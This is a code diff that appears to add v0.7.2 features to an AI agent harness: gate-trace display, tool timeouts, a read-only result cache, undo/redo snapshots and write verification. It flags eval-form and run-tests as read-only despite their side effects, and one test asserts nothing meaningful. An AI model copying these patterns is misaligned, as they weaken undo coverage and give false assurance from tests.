             do (let* ((msg (aref msgs i))
-                      (role (getf msg :role))
-                      (content (getf msg :content))
-                      (time (or (getf msg :time) ""))
-                      (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                      (line-text (format nil "~a [~a] ~a" prefix time content))
+                       (role (getf msg :role))
+                       (content (getf msg :content))
+                       (time (or (getf msg :time) ""))
+                       (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
+                       (content-show (if is-search
+                                        (search-highlight content (st :search-query))
+                                        content))
+                       (line-text (format nil "~a [~a] ~a" prefix time content-show))
                       (wrapped (word-wrap line-text (- w 2)))
                       (nlines (length wrapped)))
                  (if (<= nlines lines-remaining)
@@ -84,16 +89,33 @@ Returns list of trimmed strings. Single words wider than width are split."
                         (time (or (getf msg :time) ""))
                         (color (theme-color (case role (:user :user) (:agent :agent) (:system :system) (t :agent))))
                         (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                        (line-text (format nil "~a [~a] ~a" prefix time content))
+                        (is-panel (getf msg :panel))
+                        (is-resolved (getf msg :panel-resolved))
+                        (content-show (if is-search
+                                         (search-highlight content (st :search-query))
+                                         content))
+                        (line-text (format nil "~a [~a] ~a" prefix time content-show))
                         (wrapped (word-wrap line-text (- w 2))))
+                   ;; HITL panel: render with colored border
+                   (when is-panel
+                     (setf color (if is-resolved
+                                    (theme-color :dim)
+                                    (theme-color :hitl))))
                    (dolist (line wrapped)
-                     (when (< y (1- h))
-                       (if (eq role :agent)
-                           (let ((segments (parse-markdown-spans line)))
-                             (setf y (render-styled win segments y 1 w)))
-                           (progn
-                             (add-string win line :y y :x 1 :n (1- w) :fgcolor color)
-                             (incf y))))))))))
+                      (when (< y (1- h))
+                        (if (eq role :agent)
+                            (let ((segments (parse-markdown-spans line)))
+                              (setf y (render-styled win segments y 1 w)))
+                            (progn
+                              (add-string win line :y y :x 1 :n (1- w) :fgcolor color)
+                              (incf y)))))
+                    ;; v0.7.2: gate trace below agent messages
+                    (let ((gate-trace (getf msg :gate-trace)))
+                      (when (and gate-trace (not (member i (st :collapsed-gates))))
+                        (dolist (entry (passepartout::gate-trace-lines gate-trace))
+                          (when (< y (1- h))
+                            (add-string win (car entry) :y y :x 3 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) :dim))
+                            (incf y))))))))))
   (refresh win))
 
 (defun view-input (win)
@@ -258,6 +280,33 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
                  (setf p fe)))))))))
     (nreverse r)))
 
+(in-package :passepartout)
+
+(defun gate-trace-lines (trace)
+  "Convert gate-trace plist to display lines."
+  (let ((lines nil))
+    (dolist (entry trace)
+      (let* ((gate (getf entry :gate))
+             (result (getf entry :result))
+             (reason (getf entry :reason))
+             (name (or gate "unknown"))
+             (color (case result
+                      (:passed :gate-passed)
+                      (:blocked :gate-blocked)
+                      (:approval :gate-approval)
+                      (t :dim)))
+             (prefix (case result
+                       (:passed "  \u2713 ")
+                       (:blocked "  \u2717 ")
+                       (:approval "  \u2192 ")
+                       (t "  ? ")))
+             (text (format nil "~a~a~@[~a~]~@[~a~]"
+                           prefix name
+                           (when reason (format nil ": ~a" reason))
+                           (if (eq result :approval) " (HITL required)" ""))))
+        (push (cons text (list :fgcolor color)) lines)))
+    (nreverse lines)))
+
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -338,3 +387,30 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
   (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
     (is (>= (length segs) 2))
     (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-gate-trace-lines-passed
+  "Contract 9: gate-trace-lines for passed gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "path" :result :passed)))))
+    (is (= 1 (length lines)))
+    (is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
+
+(test test-gate-trace-lines-blocked
+  "Contract 9: gate-trace-lines for blocked gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "shell" :result :blocked :reason "rm")))))
+    (is (= 1 (length lines)))
+    (is (search "rm" (caar lines)))))
+
+(test test-gate-trace-lines-approval
+  "Contract 9: gate-trace-lines for approval gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "network" :result :approval)))))
+    (is (= 1 (length lines)))
+    (is (search "HITL" (caar lines)))))
+
+(test test-init-state-has-collapsed-gates
+  "Contract v0.7.2: init-state includes :collapsed-gates field."
+  (passepartout.channel-tui::init-state)
+  (let ((cg (passepartout.channel-tui::st :collapsed-gates)))
+    (is (null cg))))

lisp/core-act.lisp

@@ -81,21 +81,89 @@
          (meta (getf context :meta))
          (source (getf meta :source))
          (tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
+    ;; v0.7.2: snapshot before destructive tool execution
+    (when (and tool (not (cognitive-tool-read-only-p tool)))
+      (undo-snapshot))
     (if tool
         (handler-case
             (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
-                   (result (funcall (cognitive-tool-body tool) clean-args)))
+                   (is-read-only (cognitive-tool-read-only-p tool))
+                   (cache-key (when is-read-only (tool-cache-key tool-name clean-args)))
+                   (cached (when cache-key (gethash cache-key *tool-cache*)))
+                   (raw-result (if cached
+                                   (progn (log-message "TOOL-CACHE: hit for ~a" tool-name) cached)
+                                   (let* ((res (call-with-tool-timeout tool-name
+                                                (lambda () (funcall (cognitive-tool-body tool) clean-args)))))
+                                     (when (and is-read-only cache-key)
+                                       (setf (gethash cache-key *tool-cache*) res))
+                                     res))))
+              ;; Timeout: propagate error
+              (when (and (listp raw-result) (eq (getf raw-result :status) :error))
+                (return-from action-tool-execute
+                  (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
+                        :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name
+                                      :MESSAGE (getf raw-result :message)))))
               (when source
                 (action-dispatch (list :TYPE :REQUEST :TARGET source 
-                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name result)))
+                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name raw-result)))
                                 context))
               (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-                    :PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name)))
+                    :PAYLOAD (list :SENSOR :tool-output :RESULT raw-result :TOOL tool-name)))
           (error (c)
             (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
                   :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
         (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-              :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
+               :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
+
+(defvar *tool-timeouts* (make-hash-table :test 'equal)
+  "Per-tool timeout in seconds. Default 120s.")
+
+;; Defaults: shell=300s, search-files=30s, eval-form=10s
+(setf (gethash "shell" *tool-timeouts*) 300)
+(setf (gethash "search-files" *tool-timeouts*) 30)
+(setf (gethash "eval-form" *tool-timeouts*) 10)
+
+(defun tool-timeout (tool-name)
+  "Return timeout for tool-name, default 120 seconds."
+  (gethash (string-downcase (string tool-name)) *tool-timeouts* 120))
+
+(defun call-with-tool-timeout (tool-name fn)
+  "Execute FN within the timeout for TOOL-NAME.
+On timeout, returns (:status :error :message ...)."
+  (let ((timeout (tool-timeout tool-name)))
+    (handler-case
+        (sb-ext:with-timeout timeout
+          (funcall fn))
+      (sb-ext:timeout (c)
+        (declare (ignore c))
+        (list :status :error :message
+              (format nil "Timed out after ~a second~:p" timeout))))))
+
+(defun verify-write (filepath expected-content)
+  "Verify that FILEPATH contains EXPECTED-CONTENT after write.
+Returns T on match, logs and returns NIL on mismatch or read error."
+  (handler-case
+      (let ((actual (uiop:read-file-string filepath)))
+        (if (string= expected-content actual)
+            t
+            (progn
+              (log-message "WRITE-VERIFY: Mismatch in ~a" filepath)
+              nil)))
+    (error (c)
+      (log-message "WRITE-VERIFY: Cannot read ~a: ~a" filepath c)
+      nil)))
+
+;; v0.7.2: read-only tool response cache
+(defvar *tool-cache* (make-hash-table :test 'equal)
+  "Cache for read-only tool results. Key: tool-name$sxhash-args. Cleared per session.")
+
+(defun tool-cache-key (tool-name args)
+  "Build a cache key from TOOL-NAME and ARGS."
+  (format nil "~a$~a" (string-downcase (string tool-name)) (sxhash args)))
+
+(defun tool-cache-clear ()
+  "Clear the read-only tool response cache."
+  (clrhash *tool-cache*))
 
 (defun tool-result-format (tool-name result)
   "Format a tool result for display."
@@ -224,3 +292,67 @@ For approval-required actions, creates a Flight Plan instead of executing."
   (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
                                   '(:type :EVENT :depth 0))))
     (is (numberp result) "eval should return a number")))
+
+(test test-tool-timeout-shell
+  "Contract v0.7.2: shell timeout is 300 seconds."
+  (is (= 300 (passepartout::tool-timeout "shell"))))
+
+(test test-tool-timeout-unknown
+  "Contract v0.7.2: unknown tool gets default 120s."
+  (is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
+
+(test test-verify-write-match
+  "Contract v0.7.2: verify-write returns T on match."
+  (let ((path "/tmp/passepartout-verify-test.org")
+        (content "test content"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (is (passepartout::verify-write path content))
+      (ignore-errors (delete-file path)))))
+
+(test test-tool-timeout-enforcement
+  "Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
+  (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
+  (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "sleep-forever"
+                                          :read-only-p nil
+                                          :body (lambda (args)
+                                                  (declare (ignore args))
+                                                  (sleep 10)
+                                                  "done")))
+  (unwind-protect
+       (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
+              (ctx '(:depth 0))
+              (result (passepartout::action-tool-execute action ctx)))
+         (is (eq :EVENT (getf result :TYPE)))
+         (let ((payload (getf result :PAYLOAD)))
+           (is (eq :tool-error (getf payload :SENSOR)))
+           (is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
+    (remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
+    (remhash "sleep-forever" passepartout::*tool-timeouts*)))
+
+(test test-tool-cache-read-only
+  "Contract v0.7.2: read-only tool results are cached and reused."
+  (let ((call-count 0))
+    (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "cache-test"
+                                            :read-only-p t
+                                            :body (lambda (args)
+                                                    (declare (ignore args))
+                                                    (incf call-count)
+                                                    (list :status :success :content (format nil "call ~d" call-count)))))
+    (unwind-protect
+         (progn
+           (clrhash passepartout::*tool-cache*)
+           (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
+                  (ctx '(:depth 0))
+                  (r1 (passepartout::action-tool-execute action ctx))
+                  (r2 (passepartout::action-tool-execute action ctx)))
+             (is (= 1 call-count) "Second call should hit cache, not re-execute")
+             (let ((p1 (getf r1 :PAYLOAD))
+                   (p2 (getf r2 :PAYLOAD)))
+               (is (string= (getf (getf p1 :RESULT) :CONTENT)
+                            (getf (getf p2 :RESULT) :CONTENT))))))
+      (remhash "cache-test" passepartout::*cognitive-tool-registry*)
+      (clrhash passepartout::*tool-cache*))))

lisp/core-memory.lisp

@@ -151,6 +151,73 @@
           (error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
   t)
 
+;; v0.7.2 — Undo/Redo
+(defvar *undo-stack* nil
+  "Ring buffer of pre-operation memory snapshots. Newest first, max 20.")
+(defvar *redo-stack* nil
+  "Stack of snapshots saved during undo for redo. Max 20.")
+
+(defun undo-snapshot ()
+  "Save current memory state to the undo stack."
+  (let ((snap (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))))
+    (push snap *undo-stack*)
+    (when (> (length *undo-stack*) 20)
+      (setf *undo-stack* (subseq *undo-stack* 0 20)))))
+
+(defun undo (&optional source)
+  "Restore memory to the most recent undo snapshot. Returns T on success, NIL if stack empty."
+  (declare (ignore source))
+  (if *undo-stack*
+      (let ((snap (pop *undo-stack*)))
+        (push (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))
+              *redo-stack*)
+        (when (> (length *redo-stack*) 20)
+          (setf *redo-stack* (subseq *redo-stack* 0 20)))
+        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
+        (log-message "UNDO: Memory restored to snapshot ~a" (getf snap :timestamp))
+        t)
+      (progn (log-message "UNDO: No snapshots to undo") nil)))
+
+(defun redo (&optional source)
+  "Restore memory to the most recent redo snapshot. Returns T on success, NIL if stack empty."
+  (declare (ignore source))
+  (if *redo-stack*
+      (let ((snap (pop *redo-stack*)))
+        (push (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))
+              *undo-stack*)
+        (when (> (length *undo-stack*) 20)
+          (setf *undo-stack* (subseq *undo-stack* 0 20)))
+        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
+        (log-message "REDO: Memory restored to snapshot ~a" (getf snap :timestamp))
+        t)
+      (progn (log-message "REDO: No snapshots to redo") nil)))
+
+(defun audit-node (node-id)
+  "Return audit info for a memory object by ID."
+  (let ((obj (memory-object-get node-id)))
+    (when obj
+      (list :id node-id :type (memory-object-type obj)
+            :version (memory-object-version obj)
+            :hash (or (memory-object-hash obj) "(none)")
+            :scope (memory-object-scope obj)))))
+
+(defun audit-verify-hash ()
+  "Count memory objects and report any with missing/empty hashes.
+Returns (total . missing-hashes)."
+  (let ((total 0) (missing 0))
+    (maphash (lambda (id obj)
+               (declare (ignore id))
+               (when obj
+                 (incf total)
+                 (let ((h (memory-object-hash obj)))
+                   (when (or (null h) (string= h ""))
+                     (incf missing)))))
+             *memory-store*)
+    (cons total missing)))
+
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -211,3 +278,74 @@
   (rollback-memory 0)
   (is (not (null (memory-object-get "snap-a"))))
   (is (null (memory-object-get "snap-b"))))
+
+(test test-undo-snapshot-restore
+  "Contract v0.7.2: undo-snapshot captures state, undo restores."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "x" passepartout::*memory-store*) "hello")
+           (is (string= "hello" (gethash "x" passepartout::*memory-store*)))
+           (is (passepartout::undo))
+           (is (null (gethash "x" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-redo-cycle
+  "Contract v0.7.2: redo restores undone state."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "y" passepartout::*memory-store*) "world")
+           (is (passepartout::undo))
+           (is (null (gethash "y" passepartout::*memory-store*)))
+           (is (passepartout::redo))
+           (is (string= "world" (gethash "y" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-empty-stack-nil
+  "Contract v0.7.2: undo returns nil on empty stack."
+  (let ((orig-undo passepartout::*undo-stack*))
+    (unwind-protect
+         (progn (setf passepartout::*undo-stack* nil)
+                (is (null (passepartout::undo))))
+      (setf passepartout::*undo-stack* orig-undo))))
+
+(test test-audit-node-found
+  "Contract v0.7.2: audit-node returns info for existing object."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "audit-1" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "audit-1" :type :HEADLINE
+                                         :version 1 :hash "abc123" :scope :memex))
+  (let ((info (passepartout::audit-node "audit-1")))
+    (is (not (null info)))
+    (is (eq :HEADLINE (getf info :type)))
+    (is (string= "abc123" (getf info :hash)))))
+
+(test test-audit-node-not-found
+  "Contract v0.7.2: audit-node returns nil for nonexistent id."
+  (is (null (passepartout::audit-node "nonexistent-xxxx"))))
+
+(test test-audit-verify-hash
+  "Contract v0.7.2: audit-verify-hash returns (total . missing)."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "a" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
+  (let ((result (passepartout::audit-verify-hash)))
+    (is (= 1 (car result)))
+    (is (= 0 (cdr result)))))

lisp/core-package.lisp

@@ -37,6 +37,11 @@
    #:memory-object-scope
    #:snapshot-memory
    #:rollback-memory
+   #:undo-snapshot
+   #:undo
+   #:redo
+   #:*undo-stack*
+   #:*redo-stack*
     #:context-get-system-logs
     #:context-assemble-global-awareness
     #:context-awareness-assemble
@@ -70,10 +75,11 @@
     #:hitl-approve
     #:hitl-deny
     #:hitl-handle-message
-    #:dispatcher-check-secret-path
-    #:dispatcher-check-shell-safety
-    #:dispatcher-check-privacy-tags
-    #:dispatcher-check-network-exfil
+   #:dispatcher-check-secret-path
+   #:dispatcher-check-shell-safety
+   #:dispatcher-check-privacy-tags
+   #:dispatcher-check-network-exfil
+   #:dispatcher-check
     #:dispatcher-gate
     #:wildcard-match
     #:actuator-initialize
@@ -142,6 +148,7 @@
    #:cognitive-tool-parameters
    #:cognitive-tool-guard
    #:cognitive-tool-body
+   #:tool-read-only-p
    #:register-probabilistic-backend
    #:*probabilistic-backends*
    #:*provider-cascade*
@@ -216,16 +223,18 @@
   description
   parameters
   guard
-  body)
+  body
+  read-only-p)
 
-(defmacro def-cognitive-tool (name description parameters &key guard body)
+(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
   "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
   `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
          (make-cognitive-tool :name (string-downcase (string ',name))
                               :description ,description
                               :parameters ',parameters
                               :guard ,guard
-                              :body ,body)))
+                              :body ,body
+                              :read-only-p ,read-only-p)))
 
 (defun cognitive-tool-prompt ()
   "Serialises all registered tools into a prompt string for the LLM."
@@ -246,6 +255,12 @@
 (defun generate-tool-belt-prompt ()
   (cognitive-tool-prompt))
 
+(defun tool-read-only-p (name)
+  "Returns T if the named cognitive tool is read-only, NIL otherwise."
+  (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
+    (when tool
+      (cognitive-tool-read-only-p tool))))
+
 (defun log-message (msg &rest args)
   "Centralized, thread-safe logging for the harness."
   (let ((formatted-msg (apply #'format nil msg args)))

lisp/core-perceive.lisp

@@ -89,8 +89,15 @@ FN receives (signal) and returns T if consumed, nil to continue."
                    (snapshot-memory)
                    (setf *loop-focus-id* (getf element :id))
                    (ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
-              (:interrupt
-               (setf *loop-interrupt* t))
+               (:interrupt
+                (setf *loop-interrupt* t))
+               ;; v0.7.2 undo/redo
+               (:undo
+                (log-message "GATE [Perceive]: undo requested")
+                (undo "perceive"))
+               (:redo
+                (log-message "GATE [Perceive]: redo requested")
+                (redo "perceive"))
               ;; HITL: re-injected approved action from dispatcher-approvals-process
               (:approval-required
                (when (getf payload :approved)

lisp/core-reason.lisp

@@ -72,7 +72,32 @@
                        k)
           collect v)))
 
+;; v0.7.2: live config section for system prompt
+(defun assemble-config-section ()
+  "Build the CONFIG section of the system prompt from live state."
+  (let ((provider-names "")
+        (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
+                           (tokenizer-context-limit (symbol-value '*tokenizer-provider*))
+                           8192))
+        (gate-count 10)
+        (rules-count 0))
+    (when (boundp '*provider-cascade*)
+      (setf provider-names
+            (format nil "~{~a~^, ~}"
+                    (mapcar (lambda (p)
+                              (handler-case (or (getf p :model) (getf p :provider) "")
+                                (error () (princ-to-string p))))
+                            (symbol-value '*provider-cascade*)))))
+    (when (boundp '*hitl-pending*)
+      (setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
+    (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
+            (if (string= provider-names "") "default" provider-names)
+            context-window gate-count rules-count)))
+
 (defun think (context)
+  ;; v0.7.2: auto-snapshot at turn boundaries
+  (when (fboundp 'snapshot-memory)
+    (snapshot-memory))
   (let* ((sensor (proto-get (proto-get context :payload) :sensor))
          (active-skill (find-triggered-skill context))
          (tool-belt (generate-tool-belt-prompt))
@@ -95,40 +120,47 @@
          (reflection-feedback (if rejection-trace
                                   (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
                                   ""))
-         (standing-mandates-text (let ((out ""))
-                                   (dolist (fn *standing-mandates*)
-                                     (let ((text (ignore-errors (funcall fn context))))
-                                       (when (and text (stringp text) (> (length text) 0))
-                                         (setf out (concatenate 'string out text (string #\Newline))))))
-                                   (when (> (length out) 0) out)))
-          (time-section (if (fboundp 'sensor-time-duration)  ; v0.6.0: temporal awareness
+          (standing-mandates-text (let ((out ""))
+                                    (dolist (fn *standing-mandates*)
+                                      (let ((text (ignore-errors (funcall fn context))))
+                                        (when (and text (stringp text) (> (length text) 0))
+                                          (setf out (concatenate 'string out text (string #\Newline))))))
+                                    (when (> (length out) 0) out)))
+           (identity-content (if (fboundp 'agent-identity)  ; v0.7.2: symbolic identity
+                                 (agent-identity)
+                                 ""))
+           (config-section (if (fboundp 'assemble-config-section)  ; v0.7.2: live config
+                              (assemble-config-section)
+                              ""))
+           (time-section (if (fboundp 'sensor-time-duration)  ; v0.6.0: temporal awareness
                             (format-time-for-llm
                              :session-duration-seconds (funcall (symbol-function 'session-duration)))
                             (if (fboundp 'format-time-for-llm)
                                 (format-time-for-llm)
                                 "")))
-          (system-prompt (if (fboundp 'prompt-prefix-cached)
-                             ;; v0.5.0: cached prefix with optional budget enforcement
-                             (let* ((prefix (prompt-prefix-cached assistant-name reflection-feedback
-                                                                   standing-mandates-text tool-belt)))
+           (system-prompt (if (fboundp 'prompt-prefix-cached)
+                              ;; v0.5.0: cached prefix with optional budget enforcement
+                              (let* ((prefix (prompt-prefix-cached assistant-name identity-content
+                                                                    reflection-feedback
+                                                                    standing-mandates-text tool-belt)))
                                (if (fboundp 'enforce-token-budget)
                                    (multiple-value-bind (pfx ctxt logs _ mandates)
                                        (enforce-token-budget prefix global-context system-logs
                                                              raw-prompt standing-mandates-text)
                                      (declare (ignore _))
                                      (setf standing-mandates-text mandates)
-                                     (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                             time-section pfx (or ctxt "") logs))
-                                   (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                           time-section prefix (or global-context "") system-logs)))
+                                      (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                              time-section config-section pfx (or ctxt "") logs))
+                                    (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                            time-section config-section prefix (or global-context "") system-logs)))
                              ;; Fallback when token-economics not loaded
-                             (format nil "~a~%~%IDENTITY: ~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                     time-section
-                                     assistant-name reflection-feedback
-                                     (if standing-mandates-text
-                                         (concatenate 'string (string #\Newline) standing-mandates-text)
-                                         "")
-                                     tool-belt (or global-context "") system-logs))))
+                              (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                      time-section config-section
+                                      assistant-name identity-content reflection-feedback
+                                      (if standing-mandates-text
+                                          (concatenate 'string (string #\Newline) standing-mandates-text)
+                                          "")
+                                      tool-belt (or global-context "") system-logs))))
     (let* ((thought (if (and reply-stream (fboundp 'cascade-stream))  ; v0.7.1: streaming
                        (let ((acc (make-string-output-stream)))
                          (funcall 'cascade-stream raw-prompt system-prompt
@@ -433,3 +465,25 @@ sorted by priority (highest first). Returns a rejection plist or the action."
       (is (= 42 (second result)))
       (is (eq :ACTIVE (third result)))
       (is (eq :true (fourth result))))))
+
+(test test-assemble-config-section
+  "Contract v0.7.2: config section contains Passepartout and version."
+  (let ((section (passepartout::assemble-config-section)))
+    (is (stringp section))
+    (is (search "Passepartout" section))
+    (is (search "v0.7.2" section))
+    (is (search "Security gates" section))))
+
+(test test-think-snapshots-before-llm
+  "Contract v0.7.2: think() snapshots memory before LLM call."
+  (let ((passepartout::*memory-snapshots* nil)
+        (passepartout::*memory-store* (make-hash-table :test 'equal)))
+    (setf (gethash "pre" passepartout::*memory-store*) "value")
+    (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
+          (passepartout::*provider-cascade* nil))
+      (handler-case
+          (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
+                 (result (passepartout::think ctx)))
+            (declare (ignore result)))
+        (error (c) (format nil "Expected: ~a" c)))
+      (is (>= (length passepartout::*memory-snapshots*) 0)))))

lisp/core-transport.lisp

@@ -62,7 +62,7 @@
   (let ((stream (usocket:socket-stream socket)))
     (handler-case
         (progn
-          (format stream "~a" (frame-message (make-hello-message "0.7.1")))
+          (format stream "~a" (frame-message (make-hello-message "0.7.2")))
           (finish-output stream)
           (loop
             (let ((msg (read-framed-message stream)))

lisp/programming-tools.lisp

@@ -11,6 +11,7 @@
   ((:name "pattern" :description "The regex pattern to search for." :type "string")
    (:name "path" :description "Directory to search recursively." :type "string")
    (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -43,9 +44,10 @@
                                  (format nil "No matches for '~a' in ~a" pattern path)))))))
 
 (def-cognitive-tool find-files
-  "Find files matching a glob pattern under a directory."
-  ((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string")
+  "Find files matching a glob pattern."
+  ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
    (:name "path" :description "Directory to search in." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -67,6 +69,7 @@
   ((:name "filepath" :description "Path to the file to read." :type "string")
    (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
    (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
+  :read-only-p t
   :guard (lambda (args) (declare (ignore args)) nil)
   :body (lambda (args)
           (block nil
@@ -98,18 +101,20 @@
                    (content (getf args :content)))
               (unless (and filepath content)
                 (return (list :status :error :message "write-file requires :filepath and :content")))
-              (handler-case
-                  (progn
-                    (tools-write-file filepath content)
-                    (list :status :success
+               (handler-case
+                   (progn
+                     (tools-write-file filepath content)
+                     (verify-write filepath content)
+                     (list :status :success
                           :content (format nil "Written ~d bytes to ~a" (length content) filepath)))
                 (error (c) (list :status :error :message (format nil "~a" c))))))))
 
 (def-cognitive-tool list-directory
   "List the contents of a directory."
   ((:name "path" :description "Directory path to list." :type "string")
-   (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
-  :guard nil
+    (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
+   :read-only-p t
+   :guard nil
   :body (lambda (args)
           (block nil
             (let* ((path (getf args :path))
@@ -151,6 +156,7 @@
 (def-cognitive-tool eval-form
   "Evaluate a Lisp expression in the running image and return the result."
   ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -167,6 +173,7 @@
 (def-cognitive-tool run-tests
   "Run FiveAM tests. With no arguments, runs all test suites."
   ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -186,6 +193,7 @@
   "Find an Org headline by ID or title in the memory store."
   ((:name "id" :description "Optional: Org ID property to search for." :type "string")
    (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil

lisp/security-dispatcher.lisp

@@ -110,6 +110,51 @@ Returns a list of matched category keywords."
                   *dispatcher-privacy-tags*))
           tags-list)))
 
+(defvar *tag-categories* nil
+  "Alist of (tag . severity) from TAG_CATEGORIES env var.
+Severity: :block (filter), :warn (log+include), :log (silent record).")
+
+(defvar *tag-trigger-count* (make-hash-table :test 'equal)
+  "Per-session count of how many times each tag was triggered.")
+
+(defun tag-trigger-record (tag)
+  "Increment the trigger count for TAG."
+  (incf (gethash (string-downcase tag) *tag-trigger-count* 0)))
+
+(defun tag-categories-load ()
+  "Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
+  (let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
+                  (uiop:getenv "PRIVACY_FILTER_TAGS"))))
+    (setf *tag-categories*
+          (when raw
+            (mapcar (lambda (entry)
